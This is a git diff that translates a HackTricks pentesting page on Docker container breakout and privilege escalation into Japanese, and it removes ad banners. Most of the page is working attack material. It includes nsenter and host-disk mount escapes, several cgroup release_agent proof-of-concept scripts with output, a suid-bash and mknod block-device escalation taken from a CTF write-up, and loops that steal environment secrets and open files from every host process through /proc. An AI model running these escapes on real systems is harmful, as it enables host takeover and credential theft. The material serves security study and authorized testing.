+## 自動列挙とエスケープ -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): コンテナを**列挙**することもできます +- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): このツールは、コンテナを**列挙**し、自動的にエスケープを試みるのに非常に**便利**です +- [**amicontained**](https://github.com/genuinetools/amicontained): コンテナが持つ権限を取得し、そこからエスケープする方法を見つけるのに役立つツール +- [**deepce**](https://github.com/stealthcopter/deepce): コンテナから列挙し、エスケープするためのツール +- [**grype**](https://github.com/anchore/grype): イメージにインストールされているソフトウェアに含まれるCVEを取得します -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} - -## Automatic Enumeration & Escape - -- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers** -- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically** -- [**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it -- [**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers -- [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image - -## Mounted Docker Socket Escape - -If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\ -This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions. +## マウントされたDockerソケットエスケープ +もし何らかの理由で**dockerソケットがコンテナ内にマウントされている**ことがわかれば、そこからエスケープすることができます。\ +これは通常、何らかの理由でアクションを実行するためにdockerデーモンに接続する必要があるdockerコンテナで発生します。 ```bash #Search the socket find / -name docker.sock 2>/dev/null #It's usually in /run/docker.sock ``` - -In this case you can use regular docker commands to communicate with the docker daemon: - +この場合、通常のdockerコマンドを使用してdockerデーモンと通信できます: ```bash #List images to use one docker images @@ -44,14 +33,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash # Get full privs in container without --privileged docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash ``` +> [!NOTE] +> **dockerソケットが予期しない場所にある場合**でも、**`docker`**コマンドを使用して、パラメータ**`-H unix:///path/to/docker.sock`**で通信できます。 + +Dockerデーモンは、[ポートでリッスンしている可能性があります(デフォルトは2375、2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) または、Systemdベースのシステムでは、Systemdソケット`fd://`を介してDockerデーモンと通信できます。 > [!NOTE] -> In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`** - -Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`. - -> [!NOTE] -> Additionally, pay attention to the runtime sockets of other high-level runtimes: +> さらに、他の高レベルランタイムのランタイムソケットにも注意してください: > > - dockershim: `unix:///var/run/dockershim.sock` > - containerd: `unix:///run/containerd/containerd.sock` @@ -62,23 +50,21 @@ Docker daemon might be also [listening in a port (by default 2375, 2376)](../../ ## Capabilities Abuse Escape -You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** - -You can check currently container capabilities using **previously mentioned automatic tools** or: +コンテナの能力を確認する必要があります。以下のいずれかを持っている場合、そこから脱出できる可能性があります:**`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE`、`CAP_SYS_RAWIO`、`CAP_SYSLOG`、`CAP_NET_RAW`、`CAP_NET_ADMIN`** +現在のコンテナの能力は、**前述の自動ツール**を使用するか、次の方法で確認できます: ```bash capsh --print ``` - -In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges: +以下のページでは、**Linuxの能力**について学び、それを悪用して特権を逃れたり昇格させたりする方法を学ぶことができます: {{#ref}} ../../linux-capabilities.md {{#endref}} -## Escape from Privileged Containers +## 特権コンテナからの脱出 -A privileged container can be created with the flag `--privileged` or disabling specific defenses: +特権コンテナは、フラグ `--privileged` を使用するか、特定の防御を無効にすることで作成できます: - `--cap-add=ALL` - `--security-opt apparmor=unconfined` @@ -90,51 +76,44 @@ A privileged container can be created with the flag `--privileged` or disabling - `--cgroupns=host` - `Mount /dev` -The `--privileged` flag significantly lowers container security, offering **unrestricted device access** and bypassing **several protections**. For a detailed breakdown, refer to the documentation on `--privileged`'s full impacts. +`--privileged` フラグはコンテナのセキュリティを大幅に低下させ、**制限のないデバイスアクセス**を提供し、**いくつかの保護を回避**します。詳細な内訳については、`--privileged` の完全な影響に関するドキュメントを参照してください。 {{#ref}} ../docker-privileged.md {{#endref}} -### Privileged + hostPID +### 特権 + hostPID -With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` - -Test it in a container executing: +これらの権限を使用すると、単に**ホストでrootとして実行されているプロセスの名前空間に移動する**ことができます。例えば、init (pid:1) に対して、次のコマンドを実行します: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` +コンテナ内で次のようにテストしてください: ```bash docker run --rm -it --pid=host --privileged ubuntu bash ``` +### 特権 -### Privileged - -Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release_agent or other escapes**. - -Test the following bypasses in a container executing: +特権フラグを使用するだけで、**ホストのディスクにアクセス**したり、**release_agentや他のエスケープを悪用してエスケープを試みたり**することができます。 +次のバイパスをコンテナで実行してテストしてください: ```bash docker run --rm -it --privileged ubuntu bash ``` +#### ディスクのマウント - Poc1 -#### Mounting Disk - Poc1 - -Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive. +適切に構成されたdockerコンテナでは、**fdisk -l**のようなコマンドは許可されません。しかし、`--privileged`または`--device=/dev/sda1`のフラグが指定された誤った構成のdockerコマンドでは、ホストドライブを見るための権限を取得することが可能です。 ![](https://bestestredteam.com/content/images/2019/08/image-16.png) -So to take over the host machine, it is trivial: - +したがって、ホストマシンを乗っ取るのは簡単です: ```bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola ``` +そして、これで!ホストのファイルシステムにアクセスできるようになりました。これは `/mnt/hola` フォルダーにマウントされています。 -And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder. - -#### Mounting Disk - Poc2 - -Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector: +#### ディスクのマウント - Poc2 +コンテナ内で、攻撃者はクラスターによって作成された書き込み可能な hostPath ボリュームを介して、基盤となるホスト OS へのさらなるアクセスを試みるかもしれません。以下は、この攻撃者ベクターを利用できるかどうかを確認するためにコンテナ内でチェックできる一般的な項目です: ```bash ### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger @@ -155,9 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to ### debugfs (Interactive File System Debugger) debugfs /dev/sda1 ``` - -#### Privileged Escape Abusing existent release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 - +#### 特権エスケープ 既存の release_agent を悪用する ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 ```bash:Initial PoC # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash @@ -191,9 +168,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1 # Reads the output cat /o ``` - -#### Privileged Escape Abusing created release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 - +#### 特権エスケープ 作成された release_agent を悪用する ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 ```bash:Second PoC # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash @@ -235,21 +210,17 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` - -Find an **explanation of the technique** in: - {{#ref}} docker-release_agent-cgroups-escape.md {{#endref}} -#### Privileged Escape Abusing release_agent without known the relative path - PoC3 +#### 特権エスケープ release_agentを相対パスを知らずに悪用する - PoC3 -In the previous exploits the **absolute path of the container inside the hosts filesystem is disclosed**. However, this isn’t always the case. In cases where you **don’t know the absolute path of the container inside the host** you can use this technique: +前のエクスプロイトでは、**ホストのファイルシステム内のコンテナの絶対パスが開示されます**。しかし、これは常にそうではありません。ホスト内のコンテナの**絶対パスがわからない場合**は、この技術を使用できます: {{#ref}} release_agent-exploit-relative-paths-to-pids.md {{#endref}} - ```bash #!/bin/sh @@ -288,20 +259,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release TPID=1 while [ ! -f ${OUTPUT_PATH} ] do - if [ $((${TPID} % 100)) -eq 0 ] - then - echo "Checking pid ${TPID}" - if [ ${TPID} -gt ${MAX_PID} ] - then - echo "Exiting at ${MAX_PID} :-(" - exit 1 - fi - fi - # Set the release_agent path to the guessed pid - echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent - # Trigger execution of the release_agent - sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" - TPID=$((${TPID} + 1)) +if [ $((${TPID} % 100)) -eq 0 ] +then +echo "Checking pid ${TPID}" +if [ ${TPID} -gt ${MAX_PID} ] +then +echo "Exiting at ${MAX_PID} :-(" +exit 1 +fi +fi +# Set the release_agent path to the guessed pid +echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent +# Trigger execution of the release_agent +sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" +TPID=$((${TPID} + 1)) done # Wait for and cat the output @@ -309,9 +280,7 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` - -Executing the PoC within a privileged container should provide output similar to: - +特権コンテナ内でPoCを実行すると、次のような出力が得られるはずです: ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 @@ -339,37 +308,33 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` +#### 特権エスケープ:センシティブマウントの悪用 -#### Privileged Escape Abusing Sensitive Mounts +マウントされる可能性のあるいくつかのファイルがあり、これらは**基盤となるホストに関する情報**を提供します。中には、**何かが発生したときにホストによって実行されるべき何かを示す**ものもあります(これにより攻撃者はコンテナからエスケープすることができます)。\ +これらのファイルの悪用により、以下が可能になる場合があります: -There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\ -The abuse of these files may allow that: - -- release_agent (already covered before) +- release_agent(以前に説明済み) - [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc) - [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern) - [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper) - [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) -However, you can find **other sensitive files** to check for in this page: +ただし、このページで確認すべき**他のセンシティブファイル**を見つけることができます: {{#ref}} sensitive-mounts.md {{#endref}} -### Arbitrary Mounts - -In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasn’t correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized_keys… +### 任意のマウント +いくつかの状況では、**コンテナにホストからマウントされたボリュームがある**ことがわかります。このボリュームが正しく構成されていない場合、**センシティブデータにアクセス/変更することができる**かもしれません:秘密を読み取る、ssh authorized_keysを変更する… ```bash docker run --rm -it -v /:/host ubuntu bash ``` +### 2つのシェルとホストマウントを使用した特権昇格 -### Privilege Escalation with 2 shells and host mount - -If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\ -You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc. - +**コンテナ内でrootとしてアクセス**でき、ホストからマウントされたフォルダがあり、**非特権ユーザーとしてホストにエスケープ**し、マウントされたフォルダに対して読み取りアクセスがある場合。\ +**コンテナ**内の**マウントされたフォルダ**に**bash suidファイル**を作成し、**ホストから実行**して特権昇格を行うことができます。 ```bash cp /bin/bash . #From non priv inside mounted folder # You need to copy it from the host as the bash binaries might be diferent in the host and in the container @@ -377,16 +342,14 @@ chown root:root bash #From container as root inside mounted folder chmod 4777 bash #From container as root inside mounted folder bash -p #From non priv inside mounted folder ``` +### 2つのシェルを使った特権昇格 -### Privilege Escalation with 2 shells +**コンテナ内でrootとしてアクセスでき**、**非特権ユーザーとしてホストにエスケープした**場合、コンテナ内でMKNODの権限があれば(デフォルトで持っています)、両方のシェルを利用して**ホスト内での特権昇格**を行うことができます(これは[**この投稿で説明されています**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/))。\ +このような権限を持つと、コンテナ内のrootユーザーは**ブロックデバイスファイルを作成**することが許可されます。デバイスファイルは、**基盤となるハードウェアやカーネルモジュールにアクセスするために使用される特別なファイル**です。例えば、/dev/sdaのブロックデバイスファイルは、**システムディスク上の生データを読み取る**ためのアクセスを提供します。 -If you have access as **root inside a container** and you have **escaped as a non privileged user to the host**, you can abuse both shells to **privesc inside the host** if you have the capability MKNOD inside the container (it's by default) as [**explained in this post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ -With such capability the root user within the container is allowed to **create block device files**. Device files are special files that are used to **access underlying hardware & kernel modules**. For example, the /dev/sda block device file gives access to **read the raw data on the systems disk**. - -Docker safeguards against block device misuse within containers by enforcing a cgroup policy that **blocks block device read/write operations**. Nevertheless, if a block device is **created inside the container**, it becomes accessible from outside the container via the **/proc/PID/root/** directory. This access requires the **process owner to be the same** both inside and outside the container. - -**Exploitation** example from this [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): +Dockerは、コンテナ内でのブロックデバイスの誤用を防ぐために、**ブロックデバイスの読み書き操作をブロックする**cgroupポリシーを強制しています。それにもかかわらず、ブロックデバイスが**コンテナ内で作成されると**、それは**/proc/PID/root/**ディレクトリを介してコンテナの外部からアクセス可能になります。このアクセスには、**プロセスの所有者がコンテナ内外で同じである必要があります**。 +**悪用**の例は、[**この書き込み**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)からです: ```bash # On the container as root cd / @@ -422,19 +385,15 @@ augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_ augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda HTB{7h4T_w45_Tr1cKy_1_D4r3_54y} ``` - ### hostPID -If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab: - +ホストのプロセスにアクセスできる場合、それらのプロセスに保存されている多くの機密情報にアクセスできるようになります。テストラボを実行します: ``` docker run --rm -it --pid=host ubuntu bash ``` +例えば、`ps auxn`のようなコマンドを使用してプロセスをリストし、コマンド内の機密情報を検索することができます。 -For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands. - -Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running: - +次に、**/proc/内のホストの各プロセスにアクセスできるため、envシークレットを盗むことができます**。 ```bash for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done /proc/988058/environ @@ -443,9 +402,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql USER=abrgocd ... ``` - -You can also **access other processes file descriptors and read their open files**: - +他のプロセスのファイルディスクリプタに**アクセスし、オープンファイルを読み取る**こともできます。 ```bash for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt less fds.txt @@ -455,91 +412,76 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp # You can open the secret filw with: cat /proc/635813/fd/4 ``` - -You can also **kill processes and cause a DoS**. +プロセスを**終了させてDoSを引き起こす**こともできます。 > [!WARNING] -> If you somehow have privileged **access over a process outside of the container**, you could run something like `nsenter --target --all` or `nsenter --target --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.** +> もしコンテナ外のプロセスに対して特権**アクセスを持っている場合**、`nsenter --target --all`や`nsenter --target --mount --net --pid --cgroup`のようなコマンドを実行して、そのプロセスと**同じns制限**(できればなし)で**シェルを実行**することができます。 ### hostNetwork - ``` docker run --rm -it --network=host ubuntu bash ``` +コンテナがDocker [ホストネットワーキングドライバー(`--network=host`)](https://docs.docker.com/network/host/) で構成されている場合、そのコンテナのネットワークスタックはDockerホストから隔離されておらず(コンテナはホストのネットワーキングネームスペースを共有)、コンテナには独自のIPアドレスが割り当てられません。言い換えれば、**コンテナはすべてのサービスをホストのIPに直接バインドします**。さらに、コンテナは**ホストが送受信しているすべてのネットワークトラフィックを傍受することができます**。共有インターフェース `tcpdump -i eth0`。 -If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`. +例えば、これを使用して**ホストとメタデータインスタンス間のトラフィックを傍受し、さらには偽装する**ことができます。 -For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance. - -Like in the following examples: +以下の例のように: - [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) - [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/) -You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access). +ホスト内の**localhostにバインドされたネットワークサービス**にもアクセスできるようになり、さらには**ノードのメタデータ権限**(コンテナがアクセスできるものとは異なる場合があります)にもアクセスできます。 ### hostIPC - ```bash docker run --rm -it --ipc=host ubuntu bash ``` +`hostIPC=true`を設定すると、ホストのプロセス間通信(IPC)リソース、例えば`/dev/shm`の**共有メモリ**にアクセスできます。これにより、他のホストやポッドプロセスが使用している同じIPCリソースに対して読み書きが可能になります。これらのIPCメカニズムをさらに調査するには、`ipcs`を使用してください。 -With `hostIPC=true`, you gain access to the host's inter-process communication (IPC) resources, such as **shared memory** in `/dev/shm`. This allows reading/writing where the same IPC resources are used by other host or pod processes. Use `ipcs` to inspect these IPC mechanisms further. +- **/dev/shmを調査** - この共有メモリの場所にあるファイルを探します: `ls -la /dev/shm` +- **既存のIPC施設を調査** – `/usr/bin/ipcs`を使用して、IPC施設が使用されているか確認できます。次のコマンドで確認してください: `ipcs -a` -- **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm` -- **Inspect existing IPC facilities** – You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a` - -### Recover capabilities - -If the syscall **`unshare`** is not forbidden you can recover all the capabilities running: +### 権限の回復 +もしシステムコール**`unshare`**が禁止されていなければ、すべての権限を回復できます: ```bash unshare -UrmCpf bash # Check them with cat /proc/self/status | grep CapEff ``` +### ユーザー名前空間のシンボリックリンクを利用した悪用 -### User namespace abuse via symlink +投稿で説明されている2番目の技術は、[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) に示されているように、ユーザー名前空間を使用してバインドマウントを悪用し、ホスト内のファイルに影響を与える方法(この特定のケースでは、ファイルを削除する)を示しています。 -The second technique explained in the post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files). +## CVE -
+### Runcの脆弱性 (CVE-2019-5736) -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +`docker exec`をrootとして実行できる場合(おそらくsudoを使用して)、CVE-2019-5736を悪用してコンテナからエスケープし、特権を昇格させようとします(エクスプロイトは[こちら](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go))。この技術は基本的に、**コンテナからホストの_**/bin/sh**_バイナリを**上書き**しますので、docker execを実行する誰もがペイロードをトリガーする可能性があります。 -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} - -## CVEs - -### Runc exploit (CVE-2019-5736) - -In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload. - -Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\ -Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine: +ペイロードを適宜変更し、`go build main.go`でmain.goをビルドします。生成されたバイナリは、実行のためにdockerコンテナ内に配置する必要があります。\ +実行時に`[+] Overwritten /bin/sh successfully`と表示されたら、ホストマシンから以下を実行する必要があります: `docker exec -it /bin/sh` -This will trigger the payload which is present in the main.go file. +これにより、main.goファイルに存在するペイロードがトリガーされます。 -For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) +詳細については、[https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)を参照してください。 > [!NOTE] -> There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) +> コンテナが脆弱である可能性のある他のCVEもあります。リストは[https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)で見つけることができます。 -## Docker Custom Escape +## Dockerカスタムエスケープ -### Docker Escape Surface +### Dockerエスケープサーフェス -- **Namespaces:** The process should be **completely separated from other processes** via namespaces, so we cannot escape interacting with other procs due to namespaces (by default cannot communicate via IPCs, unix sockets, network svcs, D-Bus, `/proc` of other procs). -- **Root user**: By default the user running the process is the root user (however its privileges are limited). -- **Capabilities**: Docker leaves the following capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` -- **Syscalls**: These are the syscalls that the **root user won't be able to call** (because of lacking capabilities + Seccomp). The other syscalls could be used to try to escape. +- **名前空間**: プロセスは名前空間を介して**他のプロセスから完全に分離されるべき**であり、名前空間のために他のプロセスと相互作用してエスケープすることはできません(デフォルトではIPC、Unixソケット、ネットワークサービス、D-Bus、他のプロセスの`/proc`を介して通信できません)。 +- **ルートユーザー**: デフォルトでは、プロセスを実行しているユーザーはルートユーザーです(ただし、その特権は制限されています)。 +- **能力**: Dockerは以下の能力を残します: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` +- **システムコール**: これらは**ルートユーザーが呼び出すことができない**システムコールです(能力が不足しているため + Seccomp)。他のシステムコールはエスケープを試みるために使用される可能性があります。 {{#tabs}} {{#tab name="x64 syscalls"}} - ```yaml 0x067 -- syslog 0x070 -- setsid @@ -560,11 +502,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape 0x140 -- kexec_file_load 0x141 -- bpf ``` - {{#endtab}} {{#tab name="arm64 syscalls"}} - ``` 0x029 -- pivot_root 0x059 -- acct @@ -582,11 +522,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape 0x111 -- finit_module 0x118 -- bpf ``` - {{#endtab}} {{#tab name="syscall_bf.c"}} - ````c // From a conversation I had with @arget131 // Fir bfing syscalss in x64 @@ -598,31 +536,32 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape int main() { - for(int i = 0; i < 333; ++i) - { - if(i == SYS_rt_sigreturn) continue; - if(i == SYS_select) continue; - if(i == SYS_pause) continue; - if(i == SYS_exit_group) continue; - if(i == SYS_exit) continue; - if(i == SYS_clone) continue; - if(i == SYS_fork) continue; - if(i == SYS_vfork) continue; - if(i == SYS_pselect6) continue; - if(i == SYS_ppoll) continue; - if(i == SYS_seccomp) continue; - if(i == SYS_vhangup) continue; - if(i == SYS_reboot) continue; - if(i == SYS_shutdown) continue; - if(i == SYS_msgrcv) continue; - printf("Probando: 0x%03x . . . ", i); fflush(stdout); - if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM)) - printf("Error\n"); - else - printf("OK\n"); - } +for(int i = 0; i < 333; ++i) +{ +if(i == SYS_rt_sigreturn) continue; +if(i == SYS_select) continue; +if(i == SYS_pause) continue; +if(i == SYS_exit_group) continue; +if(i == SYS_exit) continue; +if(i == SYS_clone) continue; +if(i == SYS_fork) continue; +if(i == SYS_vfork) continue; +if(i == SYS_pselect6) continue; +if(i == SYS_ppoll) continue; +if(i == SYS_seccomp) continue; +if(i == SYS_vhangup) continue; +if(i == SYS_reboot) continue; +if(i == SYS_shutdown) continue; +if(i == SYS_msgrcv) continue; +printf("Probando: 0x%03x . . . ", i); fflush(stdout); +if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM)) +printf("Error\n"); +else +printf("OK\n"); +} } ``` + ```` {{#endtab}} @@ -633,12 +572,12 @@ int main() If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode): - Find the **path of the containers filesystem** inside the host - - You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit +- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit - Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens - - You should be able to **execute the trigger from inside the host** - - You need to know where the containers files are located inside the host to indicate a script you write inside the host +- You should be able to **execute the trigger from inside the host** +- You need to know where the containers files are located inside the host to indicate a script you write inside the host - Have **enough capabilities and disabled protections** to be able to abuse that functionality - - You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container +- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container ## References @@ -650,11 +589,4 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket) - [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4) -
- -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index 7d16ec4a4..3376ea804 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -2,10 +2,9 @@ {{#include ../../../../banners/hacktricks-training.md}} -**For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary: +**詳細については、** [**元のブログ記事**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**を参照してください。** これは要約です: Original PoC: - ```shell d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release @@ -13,49 +12,38 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 